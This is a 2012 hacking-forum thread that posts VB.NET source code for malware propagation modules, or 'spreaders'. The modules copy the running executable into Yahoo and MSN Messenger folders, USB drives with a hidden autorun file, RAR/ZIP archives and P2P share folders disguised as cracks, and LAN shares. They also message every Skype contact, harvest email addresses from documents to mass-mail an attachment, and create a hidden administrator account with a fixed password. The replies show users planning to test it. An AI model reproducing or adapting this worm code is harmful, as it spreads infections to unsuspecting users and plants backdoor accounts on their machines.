[SOURCE] SPREADERS

psycho.ts · 02-12-2012, 06:08 PM

YAHOO:

Code:
Imports System.IO
Imports System.Reflection
Module yahoo
    Sub yahoo_sp()
        On Error Resume Next
        Dim YoModule As System.Reflection.Module = [Assembly].GetExecutingAssembly().GetModules()(0)
        Dim YaFile As String = Application.ExecutablePath
        Dim FoPath As String = "C:\Documents and Settings\" & Environ("USERNAME") & "\Local Settings\Application Data\Yahoo Messenger\"
        If Dir(FoPath, FileAttribute.Directory) <> "" Then
            Dim i As Int32 = 0
            Dim x As Int32 = 0
            Dim shares() As String
            shares = System.IO.Directory.GetDirectories(FoPath)
            For i = 0 To shares.GetUpperBound(0)
                If Dir(shares(i), FileAttribute.Directory) <> "" Then
                    If File.Exists(shares(i) & "\ys.scr") = False Then
                        File.Copy(YaFile, shares(i) & "\ys.scr")
                    End If
                End If
            Next
        End If
    End Sub
End Module

USB:

Code:
Imports System.IO
Module usb
    Public Sub USB()
        Try
            Dim drivers As String = My.Computer.FileSystem.SpecialDirectories.ProgramFiles
            Dim driver() As String = (IO.Directory.GetLogicalDrives)
            For Each drivers In driver
                If File.Exists(drivers & "windows.exe") = False Then
                    File.Copy(System.Reflection.Assembly. _
                    GetExecutingAssembly.Location, drivers & "windows.exe")
                End If
                Dim commande = New StreamWriter(drivers & "autorun.inf")
                commande.WriteLine("[autorun]")
                commande.WriteLine("open = windows.exe")
                commande.WriteLine("shellexecute=windows.exe")
                commande.Close()
                File.SetAttributes(drivers & "autorun.inf", FileAttributes.Hidden)
                File.SetAttributes(drivers & "windows.exe", FileAttributes.Hidden)
            Next
        Catch ex As Exception
        End Try
    End Sub
End Module

SKYPE:

Code:
Imports System.IO
Module SKYYPE
    Public Sub Skype()
        Try
            Dim vv As New FileStream("C:\windows\system32\s4c.vbs", FileMode.Create, FileAccess.Write)
            Dim g As New StreamWriter(vv)
            g.BaseStream.Seek(0, SeekOrigin.End)
            g.WriteLine("on error resume next")
            g.WriteLine("set Fruxr = WScript.CreateObject(""Skype4COM.Skype"", ""Skype_"")")
            g.WriteLine("Fruxr.Client.Start()")
            g.WriteLine("Fruxr.Attach()")
            g.WriteLine("For Each KZN In Fruxr.Friends")
            g.WriteLine("Fruxr.SendMessage KZN.handle,""Remplacer ici par le texte que vous voulez (ce texte sera ecrit dans toutes les conversations de tout les amis skype de la victime" & """")
            g.WriteLine("next")
            g.Close()
            Process.Start("C:\windows\system32\s4c.vbs")
            Dim fa As New FileInfo("C:\windows\system32\s4c.vbs")
            fa.Delete()
        Catch ex As Exception
        End Try
    End Sub
End Module

RAR:

Code:
Imports System
Imports System.Diagnostics
Imports System.IO
Imports System.Runtime.InteropServices
Imports System.Text
Module RARR
    <DllImport("kernel32.dll", CharSet:=CharSet.Auto)> _
    Public Function GetShortPathName(<MarshalAs(UnmanagedType.LPTStr)> ByVal path As String, <MarshalAs(UnmanagedType.LPTStr)> ByVal shortPath As StringBuilder, ByVal shortPathLength As Integer) As Integer
    End Function
    Dim _rarPath As String
    Dim _copiedExeName As String
    Private Sub Search(ByVal pathName As String)
        Dim files As String()
        files = Directory.GetFiles(pathName)
        For Each file As String In files
            If file.Contains(".rar") Then
                RarStart(file)
            End If
            If file.Contains(".zip") Then
                RarStart(file)
            End If
        Next

        Dim subdirectorys As String() = Directory.GetDirectories(pathName)
        For Each subdirectory As String In subdirectorys
            Search(subdirectory)
        Next
    End Sub


    Public Sub Spread(ByVal myExeName As String)
        _copiedExeName = myExeName
        Dim drives As String() = Environment.GetLogicalDrives()
        For Each strDrive As String In drives
            Search(strDrive)
        Next
        File.Create(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\temp48.txt")
    End Sub

    Public Sub RarStart(ByVal archiveToInject As String)
        Dim sysFolder As String = Environment.GetFolderPath(Environment.SpecialFolder.System)
        Dim rootdrive As String = sysFolder.Replace(sysFolder.Substring(sysFolder.IndexOf("\")), [String].Empty) & "\"

        _rarPath = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\WinRAR\WinRAR.exe"
        If File.Exists(_rarPath) Then
            If Not File.Exists(Path.Combine(rootdrive, _copiedExeName)) Then
                File.Copy(Process.GetCurrentProcess().MainModule.FileName, Path.Combine(rootdrive, _copiedExeName))
            End If

            Dim getshortExePath = New StringBuilder(255)
            GetShortPathName(Path.Combine(rootdrive, _copiedExeName), getshortExePath, getshortExePath.Capacity)
            Dim evilpath As String = getshortExePath.ToString()


            Dim shortArchiveDirectory = New StringBuilder(255)
            GetShortPathName(archiveToInject, shortArchiveDirectory, shortArchiveDirectory.Capacity)

            Try
                Dim rarProcess As New ProcessStartInfo()
                Dim theInfo As String = (" a " & shortArchiveDirectory.ToString & " ") + evilpath
                rarProcess.FileName = _rarPath
                rarProcess.Arguments = theInfo
                rarProcess.WindowStyle = ProcessWindowStyle.Hidden

                Process.Start(rarProcess)
            Catch
            End Try

        End If
    End Sub
End Module

P2P:

Code:
Imports System.IO

Module P22P
    Public Sub p2p()
        Dim arSharedFolders As New ArrayList()
        arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) & "\Downloads")
        arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) & "\My Shared Folder")
        arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) & "\Shared")
        arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\Ares\My Shared Folder")
        arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.Desktop) & "\Downloads")
        arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\Shareaza\Downloads")
        arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\emule\incoming\")
        arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\kazaa\my shared folder\")
        arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\kazaa lite\my shared folder\")
        arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\kazaa lite k++\my shared folder\")
        arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\icq\shared folder\")
        arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\grokster\my grokster\")
        arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\bearshare\shared\")
        arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\edonkey2000\incoming\")
        arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\morpheus\my shared folder\")
        arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\limewire\shared\")
        arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\tesla\files\")
        arSharedFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\winmx\shared\")

        Dim folder As IEnumerator = arSharedFolders.GetEnumerator()
        While folder.MoveNext()
            Dim tada As String = Convert.ToString(folder.Current)
            If Directory.Exists(tada) Then
                Dim progDir As String = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles)
                For Each d As String In Directory.GetDirectories(progDir)
                    Dim app As String = (tada & "\") + d.Substring(d.LastIndexOf("\")).Replace("\", String.Empty) & "-crack.exe"
                    File.Copy([me], app, True)
                Next
            End If
        End While
    End Sub
End Module

OUTLOOK : 
Imports System
Imports System.Collections.Generic
Imports System.Text
Imports System.IO
Imports System.Diagnostics
Imports System.Windows.Forms
Imports Microsoft.Win32
Imports System.Collections
Imports System.Threading
Imports System.Text.RegularExpressions
Imports System.Net.Mail
Imports System.Runtime.InteropServices
Module Outloook

    Private [me] As String = Convert.ToString(Process.GetCurrentProcess().MainModule.FileName)
    Private myDocs As String = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments)
    Private arrEmails As New ArrayList()
    Private arInfect As New ArrayList()
    Private Declare Unicode Function Dns Lib "dnsapi" Alias "DnsQuery_W" (<MarshalAs(UnmanagedType.VBByRefStr)> ByRef strName As String, ByVal intType As Integer, ByVal intOpt As Integer, ByVal intServer As Integer, ByRef pResult As IntPtr, ByVal intReserved As Integer) As Integer
    Public Sub Send()

        arrEmails = SearchEmails(myDocs, "*.*")
        Dim arrFrom As ArrayList = arrEmails
        arrFrom.Reverse()

        Dim file As String = GetFile()

        If file <> "" Then
            If arrEmails.Count > 0 Then
                Dim data As New Attachment(file)
                Dim myEnum As IEnumerator = arrEmails.GetEnumerator()

                Dim toAddy As String = ""
                Dim fromAddy As String = ""


                Dim arSent As New ArrayList()

                While myEnum.MoveNext()

                    toAddy = Convert.ToString(myEnum.Current)
                    Dim fromEnum As IEnumerator = arrFrom.GetEnumerator()

                    While fromEnum.MoveNext()

                        fromAddy = Convert.ToString(fromEnum.Current)


                        If toAddy <> fromAddy Then

                            If Not arSent.Contains(toAddy) Then

                                arSent.Add(toAddy)

                                Dim [to] As New MailAddress(toAddy)
                                Dim from As New MailAddress(fromAddy)

                                Dim message As New MailMessage(from, [to])
                                message.Subject = "Hey !"


                                message.Body = "Remplacer ici par le texte qui sera envoyer dans le mail"
                                message.Attachments.Add(data)

                                Dim host As String = toAddy.Substring(toAddy.IndexOf("@")).Replace("@", [String].Empty)
                                Dim mailMxHost As String = GetMXRecords(host)

                                Try

                                    Dim client As New SmtpClient(mailMxHost)

                                    client.Send(message)
                                Catch er As Exception
                                End Try
                            End If
                        End If
                    End While
                End While

                data.Dispose()
            End If
        End If
    End Sub
    Private Function SearchEmails(ByVal dir As String, ByVal fileType As String) As ArrayList
        Dim arEmails As New ArrayList()
        Dim dr As New DirectoryInfo(dir)
        Dim filesInDir As FileInfo() = dr.GetFiles(fileType)
        For Each file__1 As FileInfo In filesInDir
            Console.WriteLine(file__1.FullName)
            Dim sr As StreamReader = File.OpenText(file__1.FullName)
            Dim input As [String]
            While (InlineAssignHelper(input, sr.ReadLine())) IsNot Nothing
                Dim email As String = ExtractAddr(input)
                If email <> "" Then
                    If Not arEmails.Contains(email) Then

                        Dim strValGex As String = "^([a-zA-Z0-9_\-\.]+)@((\[[0-9]{1,3}" & "\.[0-9]{1,3}\.[0-9]{1,3}\.)|(([a-zA-Z0-9\-]+\" & ".)+))([a-zA-Z]{2,4}|[0-9]{1,3})(\]?)$"

                        Dim regVal As New Regex(strValGex)

                        If regVal.IsMatch(email) Then
                            If Not arEmails.Contains(email) Then
                                arEmails.Add(email)
                            End If
                        End If
                    End If
                End If
            End While
        Next

        Return arEmails
    End Function
    Public Function ExtractAddr(ByVal InputData As String) As String

        Dim tmpExtractAddr As String = Nothing
        Dim AtPos As Integer, p1 As Integer, p2 As Integer, n As Integer = 0
        Dim tmp As String = Nothing
        AtPos = (InputData.IndexOf("@", 0) + 1)
        p1 = 1
        p2 = InputData.Length
        tmpExtractAddr = ""
        If AtPos = 0 Then
            Return tmpExtractAddr
        End If

        For n = (AtPos - 1) To 1 Step -1
            tmp = InputData.Substring(n - 1, 1)
            If (tmp = " ") Or (tmp = "<") Or (tmp = "(") Or (tmp = ":") Or (tmp = ",") Or (tmp = "[") Then
                p1 = n + 1
                Exit For
            End If
        Next

        For n = (AtPos + 1) To InputData.Length
            tmp = InputData.Substring(n - 1, 1)
            If (tmp = " ") Or (tmp = ">") Or (tmp = ")") Or (tmp = ":") Or (tmp = ",") Or (tmp = "]") Then
                p2 = n - 1
                Exit For
            End If
        Next


        Dim email As String = InputData.Substring(p1 - 1, (p2 - p1) + 1)
        email = Regex.Replace(email, "<(.|\n)*?>", String.Empty)
        email = email.Replace("&nbsp;", "")
        email = email.Replace(" ", "")
        email = email.Replace("""", "")

        Return email
    End Function
    Private Function GetFile() As String
        Dim dest As String = ""
        If arInfect.Count > 0 Then
            Dim enumInfect As IEnumerator = arInfect.GetEnumerator()
            While enumInfect.MoveNext()
                dest = Convert.ToString(enumInfect.Current)
            End While
        End If
        Return dest
    End Function
    Public Function GetMXRecords(ByVal host As String) As String
        Dim p1 As IntPtr = IntPtr.Zero
        Dim p2 As IntPtr = IntPtr.Zero
        Dim mx As STRMX

        Dim num1 As Integer = Dns(host, 15, 8, 0, p1, 0)
        Dim server As String = ""

        If num1 <> 0 Then
            server = host
        Else
            p2 = p1
            While Not p2.Equals(IntPtr.Zero)
                mx = DirectCast(Marshal.PtrToStructure(p2, GetType(STRMX)), STRMX)
                If mx.sType = 15 Then
                    Dim text1 As String = Marshal.PtrToStringAuto(mx.pNameEx)
                    If text1 <> "" Then
                        server = text1
                    End If
                End If
                p2 = mx.pNext
            End While
        End If
        Return server
    End Function
    Private Structure STRMX
        Public pNext As IntPtr
        Public strName As String
        Public sType As Short
        Public intFlag As Integer
        Public intTTL As Integer
        Public intRes As Integer
        Public pNameEx As IntPtr
    End Structure
    Private Function InlineAssignHelper(Of T)(ByRef target As T, ByVal value As T) As T
        target = value
        Return value
    End Function
End Module

MSN:

Code:
Imports System.IO
Imports System.Reflection
Module MSSN
    Public Sub msn()
        On Error Resume Next
        Dim moduledeforme1 As System.Reflection.Module = [Assembly].GetExecutingAssembly().GetModules()(0)
        Dim fichier As String = Application.ExecutablePath
        Dim dossier As String = "C:\Documents And Settings\" & Environ("USERNAME") & "\Local Settings\Application Data\Microsoft\Messenger\"
        If Dir(dossier, FileAttribute.Directory) <> "" Then
            Dim i As Int32 = 0
            Dim x As Int32 = 0
            Dim propage() As String
            propage = System.IO.Directory.GetDirectories(dossier)
            For i = 0 To propage.GetUpperBound(0)
                If Dir(propage(i), FileAttribute.Directory) <> "" Then
                    If File.Exists(propage(i) & "\winupdate.exe") = False Then
                        File.Copy(fichier, propage(i) & "\winupdate.exe")
                    End If
                End If
            Next
        End If
    End Sub
End Module

LAN:

Code:
Imports System
Imports System.Collections.Generic
Imports System.Text
Imports System.Windows.Forms
Imports System.IO
Imports Microsoft.Win32
Imports System.DirectoryServices
Imports System.Management


Module laan
    Public [me] As String = Convert.ToString(Process.GetCurrentProcess().MainModule.FileName)
    Public Function chkIt() As Boolean
        Dim regstr As String = DirectCast(Registry.GetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Universal", "Universal", "Universal"), String)
        If regstr = "Universal" Then
            Return True
        Else
            Dim key As RegistryKey = Registry.LocalMachine.OpenSubKey("Software", True)
            Dim newkey As RegistryKey = key.CreateSubKey("Universal")
            newkey.SetValue("Universal", [me])
            Return False
        End If
    End Function
    Public Sub UniversalUser()
        Try
            Dim ad As New DirectoryEntry("WinNT://" & Environment.MachineName & ",computer")
            Dim usr As DirectoryEntry = ad.Children.Add("Universal", "user")
            usr.Invoke("SetPassword", New Object() {"Universalwashere"})
            usr.CommitChanges()

            Dim de As DirectoryEntry
            de = ad.Children.Find("Administrators", "group")
            If de IsNot Nothing Then
                de.Invoke("Add", New Object() {usr.Path.ToString()})
            End If

            Try
                Dim rkey As String = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList"
                Registry.SetValue(rkey, "Universal", 0, RegistryValueKind.DWord)
            Catch er As Exception

            End Try
        Catch ex As Exception
        End Try
    End Sub
    Public Sub Share()

        Try
            Dim shares As New ManagementObjectSearcher("select * from win32_share")
            For Each serv As ManagementObject In shares.[Get]()
                Dim shareName As String = Convert.ToString(serv("Name"))
                If Not shareName.Contains("$") Then
                    File.Copy([me], ("\\" & Environment.MachineName & "\") + shareName & "\winadmin-setup.exe", True)
                End If
            Next
        Catch ex As Exception
        End Try


        Try
            Dim key As String = "Software\Microsoft\Windows\CurrentVersion\Explorer\Map Network Drive MRU\"
            Dim reg As RegistryKey = Registry.CurrentUser.OpenSubKey(key)


            For Each valuename As String In reg.GetValueNames()
                Dim path As String = reg.GetValue(valuename).ToString()
                If valuename.ToLower() <> "mrulist" Then
                    Try
                        File.Copy([me], path & "\\winadmin-setup.exe", True)
                    Catch er As Exception
                    End Try
                End If
            Next
            reg.Close()
        Catch er As Exception
        End Try
    End Sub
    Public Sub CreateShare(ByVal dir As String, ByVal name As String)

        Try
            Directory.CreateDirectory(dir)
            Dim managementClass As New ManagementClass("Win32_Share")
            Dim inParams As ManagementBaseObject = managementClass.GetMethodParameters("Create")
            Dim outParams As ManagementBaseObject
            inParams("Description") = name
            inParams("Name") = name
            inParams("Path") = dir
            inParams("Type") = &H0
            outParams = managementClass.InvokeMethod("Create", inParams, Nothing)
            If CUInt((outParams.Properties("ReturnValue").Value)) = 0 Then
                If Directory.Exists(dir) Then
                    Dim d As New DirectoryInfo(dir)
                    d.Attributes = FileAttributes.Hidden
                End If

            End If
        Catch e As Exception
        End Try
    End Sub
End Module

CaMoTraX · 02-26-2012, 01:03 PM

Looks good i gonna test it out.

innoppy · 04-10-2012, 08:09 AM

wow you are a bad and good guy you know, please do you have any idea of email spreader

JuiceKing · 04-20-2012, 01:22 PM

I don't understand...what this spreaders spread? o.O Sorry for this stupid question...I can't understand codes..

ArkPhaze · 04-22-2012, 10:15 AM

It doesn't spread anything but from the looks at the USB one it helps you spread. Regardless, even though the USB method above (and I haven't looked at any others) does not work anymore with later versions of Windows NT.

[SOURCE] SPREADERS
Author Message